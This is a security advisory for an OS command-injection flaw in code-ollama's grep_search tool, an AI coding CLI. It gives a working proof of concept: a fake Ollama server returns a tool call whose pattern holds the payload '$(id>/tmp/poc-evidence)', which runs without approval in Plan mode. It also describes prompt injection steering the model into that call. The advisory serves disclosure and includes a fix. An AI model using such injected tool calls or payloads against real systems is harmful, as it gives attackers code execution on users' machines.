GHSA-456v-xq2p-r4cj
HIGHThe grepsearch tool in code-ollama constructs a shell command string by interpolating attacker-controlled pattern and path arguments, then executes it via childprocess.exec(). The sanitization only escapes backslashes and double-quote characters, leaving $() command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running code-ollama. Because grepsearch is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is High (CVSS 7.8).
// detailsVulnerable sink — src/utils/tools/filesystem/grep.ts:58-66
const escapedPattern = searchPattern
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"');
const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
const { stdout } = await execShell(
`rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
);Only \ and " are neutralized. The shell metacharacter sequence $() (and backtick-style substitution) is passed through unmodified. The resulting string is passed to execShell() (src/utils/tools/shell.ts:46-49), which calls exec — the promisified childprocess.exec defined at src/utils/node.ts:1-4 — causing /bin/sh to interpret the entire string and expand any embedded command substitution.
Full data-flow path (source → sink)
| Step | Location | Action | |------|----------|--------| | 1 | src/utils/ollama.ts:102-103 | External Ollama chat stream delivers chunk.message.toolcalls to the CLI | | 2 | src/cli.ts:147-148 | Each toolCall is forwarded to tools.executeToolCall() | | 3 | src/utils/tools/dispatcher.ts:300-306 | Dispatcher normalizes the call and routes it | | 4 | src/utils/tools/dispatcher.ts:392-393 | stringArgs.pattern and stringArgs.path are passed verbatim to grepSearch() | | 5 | src/utils/tools/filesystem/grep.ts:58-63 | Incomplete sanitization: only \ and " are escaped (root cause) | | 6 | src/utils/tools/filesystem/grep.ts:65 | Shell command string assembled and handed to execShell() (sink) | | 7 | src/utils/tools/shell.ts:46-49 → src/utils/node.ts:1-4 | exec() (childprocess.exec) executes the string via /bin/sh |
Approval-bypass amplifier
grepsearch is listed in READTOOLNAMES at src/constants/tool.ts:14-20 and is exposed in Plan mode at src/utils/tools/definitions.ts:225-228. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial code-ollama run invocation.
// pocPrerequisites
- code-ollama v0.36.0 installed (e.g., npm install --global code-ollama@0.36.0 or built from source via the Dockerfile below).
- ripgrep (rg) available in PATH (the vulnerable code path requires it).
- Python 3 available to run the fake Ollama server.
Step 1 — Build the self-contained Docker image (recommended)
# From the report root directory (where vuln-001/ lives) docker build -t vuln001-code-ollama -f vuln-001/Dockerfile . docker run --rm vuln001-code-ollama
The container automatically runs poc.py as CMD. Successful exploitation prints:
[+] EXPLOITATION CONFIRMED [+] Marker file : /tmp/poc-evidence [+] Contents : 'uid=0(root) gid=0(root) groups=0(root)'
Step 2 — Manual reproduction (bare-metal)
# Terminal 1 — start the malicious Ollama server
cat > /tmp/fake-ollama.py <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json, sys, threading
_req = 0
_lock = threading.Lock()
class H(BaseHTTPRequestHandler):
def log_message(self, *a): pass
def do_GET(self):
self.send_response(200); self.end_headers()
self.wfile.write(b"Ollama is running")
def do_POST(self):
global _req
l = int(self.headers.get("Content-Length", 0))
self.rfile.read(l)
with _lock:
_req += 1; n = _req
self.send_response(200)
self.send_header("Content-Type", "application/x-ndjson")
self.end_headers()
if n == 1:
chunk = {"model":"fake","message":{"role":"assistant","content":"",
"tool_calls":[{"function":{"name":"grep_search",
"arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]},
"done":True,"done_reason":"stop"}
else:
chunk = {"model":"fake","message":{"role":"assistant","content":"Done."},
"done":True,"done_reason":"stop"}
self.wfile.write((json.dumps(chunk)+"\n").encode())
self.wfile.flush()
HTTPServer(("127.0.0.1", 11434), H).serve_forever()
PY
python3 /tmp/fake-ollama.py &
# Terminal 2 — run code-ollama against the fake server
rm -f /tmp/poc-evidence
OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code"
cat /tmp/poc-evidence # expected: uid=... gid=... groups=...Explanation of the payload
The pattern argument value $(id>/tmp/poc-evidence) survives the sanitization in grep.ts:58-63 because only \ and " are stripped. When the resulting shell string
rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp"
is executed by /bin/sh via childprocess.exec, the shell expands $() first, running id and writing its output to /tmp/poc-evidence before rg ever starts.
Remediation
Replace the shell-string construction with an argument-vector call to avoid the shell entirely:
-import { execShell } from '../shell';
+import { execFile } from '../../node';
+
+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };
- const escapedPattern = searchPattern
- .replace(/\\/g, '\\\\')
- .replace(/"/g, '\\"');
- const escapedDirPath = dirPath
- .replace(/\\/g, '\\\\')
- .replace(/"/g, '\\"');
-
- const { stdout } = await execShell(
- `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
- );
+ const { stdout } = await execFile(
+ 'rg',
+ ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],
+ RG_EXEC_OPTIONS,
+ );// impactThis is an OS Command Injection vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted grepsearch tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted OLLAMAHOST connection — can execute arbitrary commands as the OS user running code-ollama.
Impact scope:
- Confidentiality (High) — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.
- Integrity (High) — attacker can modify or delete files, plant backdoors, alter repository history.
- Availability (High) — attacker can terminate processes, corrupt data, or consume system resources.
The approval-bypass via READTOOLNAMES / Plan-mode auto-execution means the attack completes silently with no user interaction after code-ollama run is invoked. Developers, CI pipelines, and IDE-integrated users who run code-ollama in trusted directories are all at risk.
// dockerfile# VULN-001: grep_search Command Injection — CWE-78
# Target: ai-action/code-ollama v0.36.0
# Proof-of-concept Docker image: builds the repo and runs poc.py
#
# Build (from project root):
# docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
# Run:
# docker run --rm vuln001-code-ollama
FROM node:24-slim
# ripgrep — required by grepSearch() in the vulnerable code path
# python3 — runs poc.py orchestration script
RUN apt-get update && apt-get install -y \
ripgrep \
python3 \
--no-install-recommends \
&& rm -rf /var/lib/apt/lists/*